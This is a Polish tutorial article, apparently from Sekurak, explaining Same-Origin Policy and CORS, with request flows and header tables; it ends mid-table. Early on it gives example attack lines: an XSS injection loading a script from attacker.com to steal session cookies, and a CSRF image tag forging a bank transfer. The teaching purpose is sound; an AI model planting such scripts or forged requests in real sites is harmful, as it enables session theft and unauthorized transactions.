Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Czym jest CORS (Cross-Origin Resource Sharing) i jak wpływa na bezpieczeństwo
Podstawowym mechanizmem obronnym nowoczesnych przeglądarek jest Same-Origin Policy. Z reguły jego istnienie jest dla nas bardzo ważne, gdyż eliminuje ono szereg potencjalnych problemów bezpieczeństwa. Czasem jednak chcielibyśmy delikatnie rozluźnić tą politykę. Jednym ze sposobów na to jest mechanizm Cross-Origin Resource Sharing (zwany zwyczajowo po prostu CORS) – zapewnia nam on możliwość bezpiecznej wymiany danych pomiędzy stronami które charakteryzuje inny Origin. Niniejszy artykuł tłumaczy z jakiego powodu CORS jest nam w ogóle potrzebny, w jaki sposób możemy go użyć, jakie mamy alternatywy, i w końcu – czy, i jeśli to w jaki sposób, możemy go obejść.
Same-Origin Policy (SOP)
W dzisiejszych czasach przeglądarka jest podstawową aplikacją na każdym komputerze – stając się w pewnym sensie nowym systemem operacyjnym (często wręcz dosłownie – vide Chrome OS). Dzieje się tak dlatego, że mnogość różnego rodzaju bogatych API pozwala na tworzenie coraz to ciekawszych webowych aplikacji, będących bardzo kuszącą alternatywą dla tradycyjnych aplikacji desktopowych. Jak wiemy jednak, z większymi możliwościami wiąże się większa odpowiedzialność. Przeglądarki od dawna starają się wprowadzać coraz to nowe mechanizmy zabezpieczające nasze środowiska – jednym z nich (i prawdopodobnie najważniejszym) jest Same-Origin Policy (SOP). Ponieważ nie jesteśmy w stanie mówić o CORS nie rozumiejąc wcześniej SOP, zacznijmy od zdefiniowania tego drugiego.
Definicja ta nie będzie to możliwa bez ustalenia terminologii, i tego czym jest ów tajemniczy Origin: otóż, bez silenia się na próby tłumaczenia z języka angielskiego, wystarczy nam wiedzieć, że jest to nic innego niż trójka:
- Protokół (inaczej – Schemat)
- Host (sprawdzany rygorystycznie – to znaczy subdomena nie jest tożsama z domeną!)
- Port
Przykłady Originu to ftp://127.0.0.1:5000 albo https://www.google.com (w tym drugim przypadku port jest obecny implicite: ponieważ mamy do czynienia z HTTPS wiemy, że chodzi o domyślny port 443).
Koncepcja Originu jest bardzo ważna, gdyż w świecie WWW definiuje on właściwie jednoznacznie pojedynczą aplikację. SOP w pewnym uproszczeniu (i w idealnej wersji – w rzeczywistości polityka jest dużo luźniejsza o czym zaraz) stanowi, że dwie aplikacje charakteryzujące się różnymi Originami (a więc dwie różne aplikacje) nie mogą używać (ściągać, osadzać, odpytywać) swoich wzajemnych elementów. Co to by znaczyło gdyby przeglądarka podchodziła do tej polityki bardzo rygorystycznie? Otóż:
- Nie można by zamieścić na stronie z Originem A obrazków, skryptów, arkuszy CSS z Originu B (na przykład wszystkie usługi typu CDN przestałyby działać)
- Nie można by wywoływać zapytań HTTP z Originu A do Originu B (na przykład element <form> który jest wysyłany pod inny adres)
- Nie można by zapisywać i odczytywać ciasteczek Originu A, będąc na stronie innego Originu B
Oczywiście każdy kto miał do czynienia z aplikacjami WWW wie, że powyższe punkty nie opisują rzeczywistości. Przeglądarki, głównie przez konieczność wstecznej kompatybilności z czasami kiedy bezpieczeństwo WWW nie było najważniejszym jego celem, pozwalają na powyższe interakcje. W wielu przypadkach nie powoduje to problemów bezpieczeństwa (lub powoduje, ale nauczyliśmy się z nimi żyć). W innych jest to wręcz pożądana funkcjonalność (na przykład wspomniane CDN). Niestety niestosowanie się sztywno do polityki SOP, czasami na bezpieczeństwie się odbija. Rozważmy dwa popularne ataki które wykorzystują to rozluźnione podejście:
Przykład 1: Mamy do czynienia ze stroną podatną na atak typu XSS. Atakujący wstrzykuje w stronę odnośnik do swojego skryptu <script src=”http://attacker.com/xss.js”>. Skrypt ten oczywiście może potencjalnie bardzo zaszkodzić użytkownikom – poprzez kradzież ciastek sesyjnych, próby wyciągnięcia tajnych danych, i tym podobne. Atak ten (przynajmniej w tym wydaniu – dociąganie zewnętrznego zasobu) nie byłby możliwy gdyby polityka SOP była rygorystycznie egzekwowana przez przeglądarkę, gdyż nie pozwoliłaby ona na zamieszczenie skryptu z innego Originu.
Przykład 2: Rozważmy stronę bankową podatną na atak CSRF. W momencie gdy chcemy przelać pieniądze w ilości X od odbiorcy A do odbiorcy B, wykonywane jest zapytanie HTTP GET pod adres URL https://mybank.com/transfer?from=A&to=B&amount=X. Atakujący preparuje stronę na którą zwabia swoją ofiarę, a w niej osadzony jest obrazek zdefiniowany następująco: <img src=”https://mybank.com/transfer?from=A&to=B&amount=X”/>. Ofiara po wejściu na stronę nie wie, że przeglądarka bez zawahania wyśle powyższe zapytanie w jej imieniu (gdyż załączone będą jej dane uwierzytelniające – na przykład ciastko sesyjne). Po raz kolejny, gdyby polityka SOP była sztywno egzekwowana, ten atak by się nie udał (zapytanie do Originu banku z Originu strony atakującego zostałoby zablokowane).
Jak widać, polityka SOP jest stosowana dość wybiórczo. Przykładowo, nie ma ograniczeń w zamieszczaniu obrazków z innych Originów, lub wysyłania formularzy (nawet automatycznego!) do innych Originów, a zatem (co wynika z tego) – wykonywania zapytań GET i prostych POST do innych Originów. Nie ma też ograniczeń co do zamieszczania skryptów Javascript z innych Originów, choć już na przykład skrypty te są częściowo izolowane (na przykład nie możemy wczytać kodu źródłowego skryptu z innego Originu), co akurat jest zgodne z SOP. Ciastka w pewnym sensie podlegają polityce SOP (na przykład nie można na Originie https://google.com ustawić ciastka dla https://facebook.com), ale z licznymi wyjątkami (na przykład domyślnie schemat nie ma znaczenia, a także mogę ustawić ciastko dla domeny, której jestem subdomeną – a więc na przykład ciastko ustawione na Originie http://sub.google.com dla Originu https://google.com).
Wyżej wspomniane “wyjątki” biorą się z faktu, że polityka SOP powstała dużo później niż (prawie 30 letnie) WWW, i ewoluowała powoli. To zła wiadomość. Dobra jest natomiast taka, że nowsze technologie, powstałe już po ustabilizowaniu się koncepcji SOP, były tworzone zgodnie z paradygmatami tej polityki. Przykładem takiej technologii jest XHR (XMLHttpRequest) zwany inaczej AJAX (Asynchronous Javascript And XML). Zapytania XHR podlegają polityce SOP, a zatem spotykają się z wieloma ograniczeniami, które uniemożliwiają nam wiele potencjalnie paskudnych ataków. Do tych ograniczeń należą między innymi: tylko częściowa kontrola nad typem danych wysłanych przez POST (nagłówek Content-Type); brak możliwości odczytu zwróconych danych; brak możliwości ustawienia dowolnych nagłówków; i inne. By pokazać dlaczego jest to takie istotne, rozważmy następujący atak który potencjalnie mógłby być bardzo szkodliwy:
Przykład 3: Dowolna strona która pod pewnym adresem URL zwraca po zapytaniu GET wrażliwe dane. Wyobraźmy sobie atak podobny do CSRF – zwabiamy ofiarę na złośliwą stronę, która wykonuje to zapytanie. Dane wracają do strony atakującego, ale na maszynie ofiary (w końcu to atak typu CSRF!). Chcielibyśmy je przesłać teraz atakującemu, tylko… nie możemy! W końcu, zastanówmy się, jak? Standardowe tricki typu tag <img> z odpowiednim źródłem wykonają zapytanie, ale nie umożliwią dostępu do zwróconych danych. Jedyny mechanizm który umożliwia taki dostęp w teorii (to znaczy – posiada odpowiednie API) to XHR, ale on też nam nie pomoże – odmówi przekazania danych pomiędzy Originami, właśnie dzięki SOP!
Ponieważ wyjątków jest wiele, warto spróbować uprościć trochę sprawę. I tak, w kontekście SOP, uproszczona “reguła kciuka” wygląda następująco:
- “Zapis” (wykonanie zapytania) Cross-Origin z reguły jest możliwy (przykład: wykonanie zapytania GET przy pobieraniu obrazka, lub wysyłanie formularza)
- “Osadzenie” (użycie zwróconej odpowiedzi bez znajomości jej treści) Cross-Origin z reguły jest możliwe (przykład: osadzenie elementu – obrazka, ramki, skryptu – na stronie)
- “Odczyt” (poznanie treści zwróconej odpowiedzi) Cross origin z reguły nie jest możliwy (przykład: wczytanie treści skryptu lub odpowiedzi XHR)
Oczywiście, uproszczona znaczy też “nie zawsze działa”, gdyż wyjątków trochę jest – jako punkt startowy jednak, sprawdzi się całkiem nieźle.
Na marginesie: zainteresowanym szczegółami SOP polecam niezwykle obszerne opracowanie tego tematu autorstwa Michała Zalewskiego (lcamtuf) – albo w postaci dostępnego online opracowania Browser Security Handbook (pozycja trochę leciwa), albo w postaci książki The Tangled Web.
Wspomnę też, że mamy możliwość zaostrzania zachowania przeglądarek, co pozwala nam emulować bardziej rygorystyczną politykę SOP niż ta domyślna. Przykładem tu jest choćby Content Security Policy, opisywane na Sekuraku zarówno w wersji 1.0, jak i 2.0 – nie to jednak jest tematem naszego artykułu.
Cross-Origin Resource Sharing (CORS)
Z punktu widzenia bezpieczeństwa WWW polityka SOP jest niezwykle istotna, i fakt, że zapytania XHR stosują się do niej jest świetną wiadomością. Zauważmy jednak, że ta przysłowiowa róża ma jednak kolce: jest wiele sytuacji kiedy komunikacja blokowana przez SOP jest nam potrzebna! Kilka przykładów:
- Single Page Application (SPA) napisana w Javascript, która komunikuje się za pomocą API REST z serwerem. W docelowej “produkcyjnej” wersji oba zasoby (REST i Front End) są prawdopodobnie serwowane z tego samego źródła, ale w środowisku developerskim programista części Front End może nie mieć ochoty specjalnie stawiać serwera Back End – zamiast tego korzysta z zewnętrznej instancji pod adresem X, stawiając lokalnie serwer statyczny serwujący pliki Javascript. Niestety, SOP uniemożliwi komunikację.
- System SSO dostarczany przez trzecią firmę, używany w przeglądarce: jeśli do działania jakiejkolwiek części potrzebna jest komunikacja XHR, SOP zablokuje komunikację gdyż Origin firmy trzeciej będzie się różnił od naszego.
- System z kilkoma subdomenami – na przykład example.com, i payments.example.com. Mimo, że obie domeny są (prawdopodobnie) zarządzane przez tą samą jednostkę, nie będzie działać między nimi jakakolwiek komunikacja gdyż różni się Origin (Origin z definicji stawia znak różności między domeną i jej subdomeną) – przez SOP.
- Dwie firmy podpisują umowę w kwestii dzielenia się danymi dla usprawnienia obsługi klienta. Niestety komunikacja między nimi za pomocą XHR jest niemożliwa – przez SOP.
To oczywiście niekompletna lista – komunikacja między różnymi Originami może mieć tysiące jeśli nie miliony zastosowań. Co wtedy? Wyglądałoby na to, że jesteśmy zdani tylko i wyłącznie na niestandardowe rozwiązania (właściwie – “hacki”, opisane między innymi w dalszej części tekstu). Na szczęście, tu właśnie z pomocą przychodzi tytułowy Cross-Origin Resource Sharing (CORS).
CORS umożliwia nam bezpieczne wykonywanie zapytań HTTP Cross-Origin. Co to znaczy “bezpieczne”? Otóż dajemy możliwość stronie serwującej dane/odpowiadającej, na zdecydowanie się czy ufa ona stronie klienckiej/pytającej, i czy w związku z tym dane które wyślemy mają być dostępne dla klienckiej/pytającej strony – a wręcz, czy samo oryginalne zapytanie powinno się zostać wykonane (brzmi jak szaleństwo – zgadzamy się na wykonanie zapytania po zadaniu zapytania?! A jednak, są pewne sposoby jak to zrobić).
Na potrzeby niniejszego artykułu wprowadźmy następującą terminologię: klientem będzie strona z Originu A (niekoniecznie złośliwa!), a właściwie kod Javascript osadzony na tej stronie. Serwerem nazwiemy serwer dostępny pod pewnym adresem związanym z Originem B, różnym od A. W naszych przykładach klient chce dostać się do zasobów serwera. Zauważmy jednak, że mamy jeszcze jednego aktora w tej rozgrywce – przeglądarka, która pełni pewnego rodzaju role proxy – klient prosi ją o wykonanie zapytania do serwera, ale to przeglądarka zapytanie wykonuje (lub nie), i następnie zwraca (lub nie) wynik.
Spróbujmy zdefiniować jak mogłoby wyglądać – na razie poglądowo, bez szczegółów technicznych – “bezpieczne” wykonanie wyżej opisanej komunikacji, korzystając z dwóch przykładów ze wstępu:
Przykład podobny do 3. ze wstępu: dostęp do danych wrażliwych. Klient za pomocą XHR (a zatem i przeglądarki) prosi serwer o dane wrażliwe. Jest to zwykłe zapytanie typu GET, a więc pamiętajmy, że mogłoby być ono wykonane w inny sposób, niekoniecznie za pomocą XHR (ale tylko XHR udostępnia API do zwrotu danych stronie wykonującej zapytanie, dlatego używamy XHR). Przeglądarka przesyła zapytanie do serwera, który wiedząc kim jest klient może teraz zdecydować czy dane które zwróci (a zwróci je na pewno, bo zapytanie się wykonało) mają być udostępnione klientowi. Ten wybór sygnalizowany jest ustawieniem (bądź nie) odpowiedniej flagi dla przeglądarki. To ona następnie – kierując się tą flagą – zdecyduje czy klient dostanie dane, czy nie.
Wydaje się rozwiązaliśmy problem, ale nie do końca. Wspominaliśmy o jeszcze jednej rzeczy której chcemy zapobiec: atak typu CSRF na endpoint który po pierwsze powoduje potencjalnie zmian stanu aplikacji, a po drugie (i czasami powiązane) – wymaga “ekstra składowych” takich jak dodatkowe nagłówki, czy specyficzna wartość Content-Type. Taki atak dalej będzie działał: fakt, że przeglądarka odmówiłaby przekazania rezultatu zapytania klientowi nie jest istotny; istotne jest, że zapytanie wykonało się na serwerze, a więc stan został zmieniony. Chcielibyśmy tego uniknąć, więc zastanówmy się jak to możemy zrobić:
Przykład podobny do 2. ze wstępu: bank umożliwia zlecenie transakcji za pomocą endpointu RESTowego ale tylko i wyłącznie gdy metoda to POST, a nagłówek Content-Type jest ustawione jako application/json. Klient inicjuje zapytanie XHR (to jedyny sposób który umożliwia nam ustawienie nietypowego pola Content-Type – co dokładnie znaczy w tym kontekście “nietypowe” zostanie przedstawione za chwilę), które otrzymuje przeglądarka. Ta jednak orientuje się, że jest to zapytanie które może być wykonane tylko za pomocą XHR (a więc zgodnie z polityką SOP). Nie jest pewna czy zapytanie to powinno zostać przekazane dalej (a co jeśli zmieni stan aplikacji w ataku CSRF?), więc upewnia się najpierw odpytując serwer czy zapytanie jest bezpieczne, i czy klient jest zaufany. Serwer odpowiada, i tylko w przypadku pozytywnej weryfikacji przeglądarka wyśle oryginalne zapytanie.
I dokładnie tak jak w powyższych (koncepcyjnych) opisach działa CORS. Ponieważ jak widać mamy dwa odmienne tryby działania przeglądarki, rozważymy oba przypadki konkretnie, ze szczegółami technicznymi.
Obiekty XMLHttpRequest2
Zanim wspomnimy o komunikacji za pomocą CORS, warto zaznaczyć, że funkcjonalność ta jest dostępna tylko w obiektach typu XMLHttpRequest2. Na szczęście wsparcie dla nich jest obecne w przeglądarkach od bardzo dawna – często ponad 10 lat – co możemy sprawdzić na stronie Can I Use?. Z praktycznego punktu widzenia dewelopera aplikacji, użycie zarówno wersji 1 jak i 2 obiektu XHR właściwie się nie różni:
var xhr = new XMLHttpRequest(); console.assert("withCredentials" in xhr, “This is not XMLHttpRequest2 object, CORS can’t be used”); xhr.open(method, url, true);
Jedyny wyjątek napotkamy gdy musimy obsługiwać stare – choć nie aż tak stare – wersje Internet Explorera 8-10. Wtedy musimy użyć innego obiektu o nazwie XDomainRequest. Na szczęście, poza nazwą oba obiekty nie różnią się zbytnio w użyciu:
xhr = new XDomainRequest(); xhr.open(method, url);
W końcu, gdy jesteśmy zmuszeni wspierać również antyczne przeglądarki (na przykład IE<8), a chcielibyśmy warunkowo używać CORSa (to znaczy – używać gdy jest dostępny), możemy sprawdzić czy jesteśmy w stanie to zrobić poprzez weryfikację czy nasz obiekt XHR zawiera pole withCredentials (o samym polu więcej w dalszej części artykułu). Proponowany w tutorialu na html5rocks.com kod wygląda na przykład tak:
function createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); if ("withCredentials" in xhr) { // Check if the XMLHttpRequest object has a "withCredentials" property. // "withCredentials" only exists on XMLHttpRequest2 objects. xhr.open(method, url, true); } else if (typeof XDomainRequest != "undefined") { // Otherwise, check if XDomainRequest. // XDomainRequest only exists in IE, // and is IE's way of making CORS requests. xhr = new XDomainRequest(); xhr.open(method, url); } else { // Otherwise, CORS is not supported by the browser. xhr = null; } return xhr; } var xhr = createCORSRequest('GET', url); if (!xhr) { throw new Error('CORS not supported'); }
Powyższy kod sprawi, że zmienna xhr zostanie ustawiona tylko wtedy, gdy nasza przeglądarka wspiera mechanizm CORS.
Na marginesie: obiekty XMLHttpRequest2 posiadają również inne usprawnienia – szczegóły można doczytać w standaryzującym je dokumencie.
W porządku, mamy już technikalia z głowy, czas rozważyć obiecane dwa przypadki. Na pierwszy ogień – ten prostszy.
Model pierwszy – zapytania proste (Simple Requests)
Zapytania proste są definiowane następująco (według MDN – w innych przeglądarkach mogą występować nieznaczne różnice):
Metoda HTTP to jedna z:
- HEAD
- GET
- POST
Nagłówki HTTP pochodzą ze zbioru:
- Accept
- Accept-Language
- Content-Language
- Content-Type, o ile jego wartość to:
- application/x-www-form-urlencoded
- multipart/form-data
- text/plain
A także (rzadziej spotykane):
- DPR
- Downlink
- Save-Data
- Viewport-Width
- Width
Czemu tego typu zapytania nazywamy prostymi? Powodem jest, że jak już kilkakrotnie było wspomniane, tego typu zapytania możemy wykonać w inny sposób niż przez XHR – czy to za pomocą sprytnego użycia tagu <img>, czy za pomocą samowysyłającego się formularza na stronie. Nie ma więc sensu budować ekstra zabezpieczeń (jakiego typu są to zabezpieczenia poznamy w następnym podrozdziale) które są trywialne do obejścia.
Jak zatem wygląda przebieg zapytania? Najpierw diagram:
A teraz, wyjaśnienie:
Krok | Opis | Komunikacja HTTP |
1 | Użytkownik prosi przeglądarkę o załadowanie strony https://example.com/. | |
2 | Przeglądarka wysyła proste zapytanie GET do serwera. |
GET / HTTP/1.1 Host: example.com (...) |
3 | Serwer zwraca dokument HTML przeglądarce. |
HTTP/1.1 OK (…) <html> (…) var xhr = new XMLHttpRequest(); xhr.open(‘GET’, ‘https://anotherexample.com’, false); xhr.send(); (…) </html> |
4 | Jak widać w źródle strony, klient potrzebuje skomunikować się z serwerem dostępnym pod innym Originem niż ten, pod którym znajduje się on sam. W tym celu używane jest API przeglądarki – obiekt XMLHttpRequest. Przeglądarka weryfikuje czy mamy rzeczywiście do czynienia z “prostym zapytaniem”. Tak jest w tym przypadku, więc wykonuje ona połączenie tak samo jak w przypadku normalnych (Same-Origin) zapytań, z jednym wyjątkiem – przeglądarka musi załączyć nagłówek Origin wskazujący na Origin klienta. Nagłówek ten może być też załączony w zapytaniach Same-Origin, ale jest obowiązkowy w zapytaniach Cross-Origin. |
GET / HTTP/1.1 Host: anotherexample.com Origin: https://example.com (...)
|
5 |
Serwer dostaje zapytanie. Dzięki temu, że nagłówek Origin jest wypełniony, może teraz podjąć decyzję czy ufa klientowi – jeśli nie, odpowiedź dla przeglądarki jest identyczna z tą bez mechanizmu CORS (czyli nic się nie zmienia, nie wykonujemy żadnych dodatkowych czynności). Tego typu zachowanie, ze względu na wsteczną kompatybilność, daje znak przeglądarce, że pytający Origin nie będzie mógł przeczytać zwróconych danych. W przypadku gdy Origin jest zaufany (tak jak w naszym przypadku), i chcemy dać dostęp do danych, serwer musi ustawić pewne nagłówki z serii Access-Control-*-*, z których najważniejszym (i jedynym wypełnionym w naszym przypadku) jest Access-Control-Allow-Origin (ACAO). |
HTTP/1.1 OK Access-Control-Allow-Origin: https://example.com (...) {“data”: “value”, “array”: [“1”, “2”, “3”]}
|
6 | Przeglądarka dostaje odpowiedź z serwera i weryfikuje obecność – a także wartość – nagłówka ACAO, a także ewentualnie innych nagłówków z serii Access-Control-*-*. Jeśli wszystko się zgadza, przeglądarka przekaże dane dalej do klienta, i zwróci kompletną stronę użytkownikowi. W przeciwnym przypadku, strona zostanie wyświetlona niekompletnie (brak danych z https://anotherexample.com/), a na konsolę przeglądarki zostanie wyrzucony błąd, – na Rysunku 2 możemy zobaczyć jak wygląda on na przykład w Google Chrome. |
Błąd na Rysunku 2 oznacza, że o ile zapytanie XHR zostało wykonane (co można zweryfikować podglądając w narzędziach deweloperskich wykonane połączenia), przeglądarka zablokowała przekazanie danych klientowi.
Jak widać magia CORSa odbywa się za pomocą nagłówków z serii Access-Control-*-* (zamiennie w artykule będzie używany skrót AC**), oraz Origin. Mamy ich do dyspozycji łącznie blisko dziesięciu – sprawdźmy jakie są dostępne dla “zapytań prostych”:
Zapytanie | |
Origin (wymagany) | Origin strony która chce wykonać zapytanie Cross-Site. Dołączany do zapytania automatycznie przez przeglądarkę. |
Odpowiedź | |
Access-Control-Allow-Origin (wymagany) | Ustawiany przez serwer. Jego wartość to pojedynczy Origin (na przykład http://example.com) lub * (gwiazdka – każdy może się skontaktować z serwerem za pomocą CORS). |
Access-Control-Allow-Credentials (opcjonalny) | Opisany w dalszej części artykułu. |
Access-Control-Expose-Headers (opcjonalny) | Ustawiany przez serwer. Domyślnie obiekt XHR ma dostęp do nagłówków odpowiedzi HTTP, ale tylko jeśli należą one do listy:
W momencie gdy chcemy umożliwić dostęp do innych (niestandardowych) nagłówków, musimy umieścić ich nazwy w tym nagłówku. Jego wartością jest lista nazw, separowana przecinkami. |
Zauważmy, że CORS jest mechanizmem kompatybilnym wstecz: do tej pory nie mieliśmy dostępu do zapytań Cross-Origin poprzez XHR (nie było takiego mechanizmu). Serwer nieświadomy istnienia CORS, zwróci po prostu zwykłą odpowiedź HTTP – a ta zostanie odrzucona przez przeglądarkę, gdyż warunkiem koniecznym do zadziałania CORS jest proaktywne dodanie nagłówka ACAO. Dzięki temu wprowadzenie nowego mechanizmu z jednej strony nie obniżyło bezpieczeństwa, a z drugiej nie spowodowało problemów z kompatybilnością.
Jest jeszcze jedna rzecz warta ponownego podkreślenia: drugą konsekwencją wstecznej kompatybilności jest fakt, że zapytanie proste zawsze się wykona, nawet jeśli przeglądarka zablokuje klientowi możliwość dostępu do otrzymanych danych! Jest to o tyle istotne, że jeśli na serwerze można dokonać operacji zmieniających stan aplikacji za pomocą zapytań prostych, to w dalszym ciągu możliwy jest typowy atak CSRF (również tak jak w wersji oryginalnej – tagi <img> lub <form>). CORS, przez konieczność wstecznej kompatybilności, nie jest w stanie nas magicznie przed tym obronić.
Model drugi – zapytania nie-takie-proste (Not-So-Simple Requests)
W tutorialu o CORS na html5rocks wszystkie inne zapytania (to znaczy – te które nie są proste w znaczeniu wyjaśnionym w poprzednim podrozdziale) żartobliwie nazwane są jako nie-takie-proste. Bez względu na nazwę jednak, idea stojąca za nimi jest jasna: tego typu zapytań nie wykonamy za pomocą standardowych technik używanych w ataku CSRF – na przykład dlatego, że używamy niestandardowego nagłówka HTTP, lub wartości Content-Type która nie może być użyta w standardowym formularzu HTML. W związku z tym, konsorcjum W3C wyszło z słusznego założenia, że warto wprowadzić dodatkowe ograniczenia/zabezpieczenia. Przypomnijmy sobie, że standardowy atak typu CSRF polega na tym, że aplikacja dostaje request HTTP który przetwarza, zmieniając swój stan. Dodatkowe zabezpieczenie zatem powinno polegać na tym, że:
- Aplikacja która nie spodziewa się zapytań typu Cross-Origin powinna w ogóle ich nie otrzymać (uwaga: to nie znaczy “nie otrzyma żadnych zapytań”. To znaczy – “nie otrzyma tych konkretnych zapytań, które spowodowałyby zmianę jej stanu”).
- Aplikacja która spodziewa się zapytań Cross-Origin:
- Powinna mieć kontrolę nad tym skąd tego typu żądania mogą przychodzić.
- Powinna mieć kontrolę nad tym czy zwrócone dane powinny być udostępnione klientowi (alternatywnie, może sam fakt wykonania zapytania wystarczy?)
Jak to wygląda w praktyce? Zobaczmy diagram:
I objaśnienie poszczególnych kroków:
Krok | Opis | Komunikacja HTTP |
1 | Użytkownik prosi przeglądarkę o załadowanie strony https://example.com/. | |
2 | Przeglądarka wysyła proste zapytanie GET do serwera. |
GET / HTTP/1.1 Host: example.com (...) |
3 | Serwer zwraca dokument HTML przeglądarce. |
HTTP/1.1 OK (…) <html> (…) var xhr = new XMLHttpRequest(); xhr.open(‘GET’, ‘https://anotherexample.com’, false); xhr.setRequestHeader(“X-Custom”, “value”); xhr.send(); (…) </html> |
4 | Jak znów widać w źródle strony, klient potrzebuje skomunikować się z serwerem dostępnym pod innym Originem niż ten, pod którym znajduje się on sam. W tym celu używane jest API przeglądarki – obiekt XMLHttpRequest. Przeglądarka weryfikuje czy mamy rzeczywiście do czynienia z “prostym zapytaniem”. W tym wypadku tak nie jest, gdyż mamy ustawiony niestandardowy nagłówek X-Custom – przeglądarka musi więc się upewnić, że zapytania typu Cross-Origin są obsługiwane przez serwer. W tym celu wykonuje tak zwany preflight request. Zapytanie to charakteryzuje się kilkoma składowymi: po pierwsze, jego typ (metoda HTTP) to OPTIONS. Po drugie, musi być obecny nagłówek Origin i Access-Control-Request-Method, a także – jeśli używamy nagłówków spoza zakresu “zapytań prostych” – Access-Control-Request-Headers (warto zaznaczyć, że całe zapytanie preflight jest automatycznie tworzone przez przeglądarkę, a więc z punktu widzenia programisty nie jest wymagana żadna dodatkowa praca). Adres pod który wykonywane jest zapytanie jest identyczny jak docelowy. |
OPTIONS / HTTP/1.1 Host: anotherexample.com Origin: https://example.com Access-Control-Request-Method: GET Access-Control-Request-Header: X-Custom (...) |
5 | Serwer dostaje zapytanie preflight, a w nim wszystkie informacje które są mu potrzebne do zdecydowania czy chce obsłużyć zapytanie docelowe. Decyzja zostaje podjęta zgodnie z logiką aplikacji, i następnie serwer odpowiada przeglądarce. Jeśli obsługuje on zapytania Cross-Origin, i zgadza się na wykonanie docelowego zapytania, odpowiedź musi zawierać nagłówek Access-Control-Allow-Origin uzupełniony odpowiednim Originem, a także nagłówki Access-Control-Allow-Methods, i Access-Control-Allow-Headers (ten ostatni tylko w przypadku gdy w zapytaniu preflight obecny był nagłówek Access-Control-Request-Headers). |
HTTP/1.1 OK Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: X-Custom Access-Control-Allow-Credentials: true (...)
|
6 | Przeglądarka dostaje odpowiedź na zapytanie preflight, i sprawdza czy odpowiednio zostały ustawione nagłówki AC**. Jeśli nie (na przykład nie ma zupełnie nagłówka ACAO, nagłówek jest lecz Origin się nie zgadza, lub nie zgadza się metoda HTTP w nagłówkach ACRM/ACAM) rzucany jest błąd na konsolę – przykładowo taki jak przedstawiony jest na Rysunku 4, w przeglądarce Google Chrome. W innym przypadku, jeśli wszystko jest ok – dopiero teraz wykonywany jest oryginalne zapytanie który chciał wykonać klient (a ponieważ jest to zapytanie Cross-Origin – musi ono zawierać nagłówek Origin). |
GET / HTTP/1.1 Host: anotherexample.com Origin: https://example.com X-Custom: value (...) |
7 | Serwer dostaje oryginalne zapytanie. Zauważmy, że może on w tym momencie mu zaufać – na pewno pochodzi ono z dobrego źródła (w innym przypadku zostałoby zablokowane w kroku 6 przez przeglądarkę). Istotne jest dalej jednak, że w poprzednich krokach sprawdziliśmy jedynie czy pozwalamy przeglądarce wykonać zapytanie. Nie ma tam mowy o tym czy zwrócone dane powinny być dostępne dla klienta. Jeśli chcemy dać mu możliwość dostępu, musimy po raz kolejny ustawić nagłówek ACAO. |
HTTP/1.1 OK Access-Control-Allow-Origin: https://example.com (...) {“data”: “value”, “array”: [“1”, “2”, “3”]}
|
8 | Przeglądarka dostaje odpowiedź z serwera i weryfikuje obecność – i wartość – nagłówka ACAO, a także ewentualnie innych nagłówków z serii Access-Control-*-*. Jeśli wszystko się zgadza, przeglądarka przekaże dane dalej do klienta, i zwróci kompletną stronę użytkownikowi. W przeciwnym przypadku, strona zostanie wyświetlona niekompletnie (brak danych z https://anotherexample.com/), a na konsole przeglądarki zostanie wyrzucony błąd, identyczny z tym który widzieliśmy już wcześniej na Rysunku 1. |
Zauważmy, że po raz kolejny mamy do czynienia z bezpieczną implementacją wstecznej kompatybilności: jeśli serwer nie jest świadomy istnienia mechanizmu CORS, na zapytanie preflight odpowie bez nagłówków AC**, których brak jest traktowany jako odpowiedź negatywna przez przeglądarkę.
Tak jak wcześniej, mamy do czynienia z kilkoma różnymi nagłówkami Access-Control-*-* na poszczególnych etapach. Przeanalizujmy je:
Zapytanie preflight | |
Origin (wymagany) | Origin strony która chce wykonać zapytanie Cross-Site. Dołączany do zapytania automatycznie przez przeglądarkę. |
Access-Control-Request-Metho(wymagany) | Metoda HTTP oryginalnego (docelowego) zapytania. Składa się z pojedynczego “czasownika” (ang. HTTP verb) – na przykład GET lub PUT. |
Access-Control-Request-Header(opcjonalny) | Lista nagłówków “niestandardowych” obecnych w oryginalnym (docelowym) zapytaniu – separowana przecinkami. |
Odpowiedź preflight | |
Access-Control-Allow-Origi(wymagany) | Ustawiany przez serwer. Jego wartość to pojedynczy Origin (na przykład http://example.com) lub * (gwiazdka – każdy może się skontaktować z serwerem za pomocą CORS). |
Access-Control-Allow-Methods (wymagany) | Separowana przecinkami lista metod, na użycie których serwer zezwala. Przeglądarka zezwoli na zapytanie tylko wtedy gdy jego metoda znajduje się na tej liście. Użycie listy zamiast pojedynczej wartości może się wydawać dziwne (w końcu zapytanie oryginalne ma tylko jedną metodę!), ale ma sens: rozwiązanie to stosuje się w celu poprawy możliwości cache’owania zapytań preflight (o tym później). |
Access-Control-Allow-Header(wymagany, o ile w zapytaniu preflight obecny był nagłówek Access-Control-Request-Headers) | Separowana przecinkami lista nagłówków na wysłanie których z oryginalnym (docelowym) zapytaniem zgadza się serwer. Jak w nagłówku ACAM (powyżej), lista ta może zawierać nagłówki inne niż te z wyszczególnione w zapytaniu preflight – powodem jak wcześniej jest poprawa możliwości cache’owania. |
Access-Control-Allow-Credentials (opcjonalny) | Opisany w dalszej części artykułu. |
Access-Control-Max-Age (opcjonalny) | Używany aby ustawić limit czasowy cache’owania zapytań preflight. Jego wartość to liczba sekund przez które przeglądarka może przechowywać odpowiedź na zapytanie w cache. |
Oryginalne (docelowe) zapytanie | |
Origin (wymagany) | Origin strony która chce wykonać zapytanie Cross-Site. Dołączany do zapytania automatycznie przez przeglądarkę. |
Oryginalna (docelowa) odpowiedź | |
Access-Control-Allow-Origin (opcjonalny) | Nagłówek ACAO może (i z reguły – powinien) być powtórzony w odpowiedzi na docelowe zapytanie. Jeśli tak nie będzie, przeglądarka nie przekaże zwróconych danych klientowi, mimo, że samo zapytanie się wykonało – a więc będziemy mieli sytuację taką jak w przypadku “prostych zapytań”, które nie posiadają w odpowiedzi nagłówka ACAO. |
Access-Control-Expose-Headers (opcjonalny) | Ustawiany przez serwer. Domyślnie obiekt XHR ma dostęp do nagłówków odpowiedzi HTTP, ale tylko jeśli należą one do listy:
